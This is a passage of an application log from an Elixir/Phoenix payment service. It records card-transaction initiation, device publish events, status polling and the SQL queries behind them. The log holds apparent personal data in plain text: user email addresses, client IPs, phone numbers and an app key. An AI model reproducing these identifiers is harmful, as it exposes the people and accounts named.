  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:13:03.316963Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 10:13:03.317000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430383, device_id: "98251226730001", amount: 120}, event_name: "Response From Publish Txn", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:13:03.316963Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 10:13:03.361000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=43.6ms idle=159.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430383, device_id: "98251226730001", amount: 120}, "Response From Publish Txn", "newtestTxn11", ~U[2026-09-03 10:13:03Z], 38, "response_from_publish_txn", ~N[2026-09-03 10:13:03], ~N[2026-09-03 10:13:03]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:13:03.361000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40173
[Thu Sep  3 10:13:03.361000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Publish successful to 98251226730001 with ref: #Reference<0.2525715032.1112276993.188988>
[Thu Sep  3 10:13:03.361000 2026] [Phoenix.Logger:info] [pid 2816631] [client 115.99.190.251:64628] Sent 200 in 247ms
[Thu Sep  3 10:16:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.8ms idle=1081.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 10:20:40.734000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34138] POST /api/device/initiate
[Thu Sep  3 10:20:40.734000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34138] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch447229914786", "externalRefNumber2" => "8354073439", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:20:40.735000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34138] Processing card transaction for reference: ch447229914786
[Thu Sep  3 10:20:40.736000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK source="users" db=0.4ms idle=797.7ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:20:40.738000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK source="custom_events" db=1.2ms queue=1.2ms idle=798.3ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:20:40.739000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch447229914786"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 122,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch447229914786",
  external_ref_number_2: "8354073439",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Thu Sep  3 10:20:40.739000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 122,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch447229914786",
    external_ref_number_2: "8354073439",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch447229914786",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:20:40.739143Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 10:20:40.739000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:34138] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch447229914786", external_ref_number_2: "8354073439", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch447229914786", transaction_id: nil, date_added: ~U[2026-09-03 10:20:40.739143Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 10:20:40.763000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK db=23.5ms idle=801.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch447229914786", external_ref_number_2: "8354073439", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch447229914786", ~U[2026-09-03 10:20:40Z], 35, "initiate_card_txn_request", ~N[2026-09-03 10:20:40], ~N[2026-09-03 10:20:40]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:20:40.763000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Successfully created custom event log with ID: 40174
[Thu Sep  3 10:20:40.763000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34138] Handling card transaction:
- Reference: ch447229914786
- Amount: 122
- Params: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch447229914786", "externalRefNumber2" => "8354073439", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 10:20:40.764000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK source="users" db=0.4ms idle=826.0ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:20:40.765000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK source="custom_events" db=0.6ms idle=826.6ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:20:40.765000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch447229914786"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788430840,
  device_id: "98251226730002",
  amount: 122
}

[Thu Sep  3 10:20:40.765000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788430840,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch447229914786",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:20:40.765843Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 10:20:40.766000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:34138] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788430840, device_id: "98251226730002", amount: 122}, event_name: "Response From Device Online Status", refrence_id: "ch447229914786", transaction_id: nil, date_added: ~U[2026-09-03 10:20:40.765843Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 10:20:40.812000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK db=46.0ms idle=828.2ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788430840, device_id: "98251226730002", amount: 122}, "Response From Device Online Status", "ch447229914786", ~U[2026-09-03 10:20:40Z], 36, "response_from_device_online_status", ~N[2026-09-03 10:20:40], ~N[2026-09-03 10:20:40]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:20:40.812000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Successfully created custom event log with ID: 40175
[Thu Sep  3 10:20:40.813000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34138] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch447229914786\",\"amount\":12200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 10:20:40.863000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK db=49.1ms queue=0.4ms idle=728.2ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch447229914786", "externalRefNumber2" => "8354073439", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_58a012de679b@mercurypay.in", "98251226730002", "ch447229914786", 4, Decimal.new("122"), %{}, "1", ~N[2026-09-03 10:20:40], ~N[2026-09-03 10:20:40]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 10:20:40.864000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK source="users" db=0.5ms queue=0.3ms idle=373.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:20:40.866000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK source="custom_events" db=1.1ms idle=362.2ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:20:40.866000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch447229914786"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788430840,
  qos: 1,
  device_id: "98251226730002",
  amount: 122
}

[Thu Sep  3 10:20:40.866000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788430840,
    qos: 1,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch447229914786",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:20:40.866679Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 10:20:40.866000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:34138] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788430840, qos: 1, device_id: "98251226730002", amount: 122}, event_name: "Request For Publish Txn", refrence_id: "ch447229914786", transaction_id: nil, date_added: ~U[2026-09-03 10:20:40.866679Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 10:20:40.898000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK db=31.6ms idle=291.2ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788430840, qos: 1, device_id: "98251226730002", amount: 122}, "Request For Publish Txn", "ch447229914786", ~U[2026-09-03 10:20:40Z], 37, "request_for_publish_txn", ~N[2026-09-03 10:20:40], ~N[2026-09-03 10:20:40]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:20:40.899000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Successfully created custom event log with ID: 40176
[Thu Sep  3 10:20:40.899000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34138] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1067450372.139695>
[Thu Sep  3 10:20:40.899000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34138] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1112276993.195374>
[Thu Sep  3 10:20:40.900000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK source="users" db=0.3ms idle=164.0ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:20:40.901000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK source="custom_events" db=0.6ms idle=161.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:20:40.902000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch447229914786"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788430840,
  device_id: "98251226730002",
  amount: 122
}

[Thu Sep  3 10:20:40.902000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788430840,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch447229914786",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:20:40.902281Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 10:20:40.902000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:34138] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788430840, device_id: "98251226730002", amount: 122}, event_name: "Response From Publish Txn", refrence_id: "ch447229914786", transaction_id: nil, date_added: ~U[2026-09-03 10:20:40.902281Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 10:20:40.943000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34138] QUERY OK db=39.9ms queue=0.2ms idle=139.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788430840, device_id: "98251226730002", amount: 122}, "Response From Publish Txn", "ch447229914786", ~U[2026-09-03 10:20:40Z], 38, "response_from_publish_txn", ~N[2026-09-03 10:20:40], ~N[2026-09-03 10:20:40]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:20:40.943000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34138] Successfully created custom event log with ID: 40177
[Thu Sep  3 10:20:40.943000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34138] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1112276993.195374>
[Thu Sep  3 10:20:40.944000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34138] Sent 200 in 209ms
[Thu Sep  3 10:20:46.977000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34142] POST /api/device/status
[Thu Sep  3 10:20:46.978000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34142] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:20:46.978000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34142] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:20:46.978000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34142] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:20:46.997000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34142] QUERY OK source="pos_transaction" db=18.7ms idle=1040.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:20:46.998000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34142] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1059.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:20:47.003000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34142] QUERY OK source="pos_failed_transaction" db=4.0ms idle=1060.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:20:47.004000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34142] QUERY OK source="cloud_transaction" db=0.6ms queue=0.1ms idle=1064.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:20:47.004000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34142] Sent 200 in 26ms
[Thu Sep  3 10:20:51.624000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57080] POST /api/device/status
[Thu Sep  3 10:20:51.624000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:57080] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:20:51.624000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57080] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:20:51.625000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57080] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:20:51.639000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57080] QUERY OK source="pos_transaction" db=13.7ms idle=1687.5ms
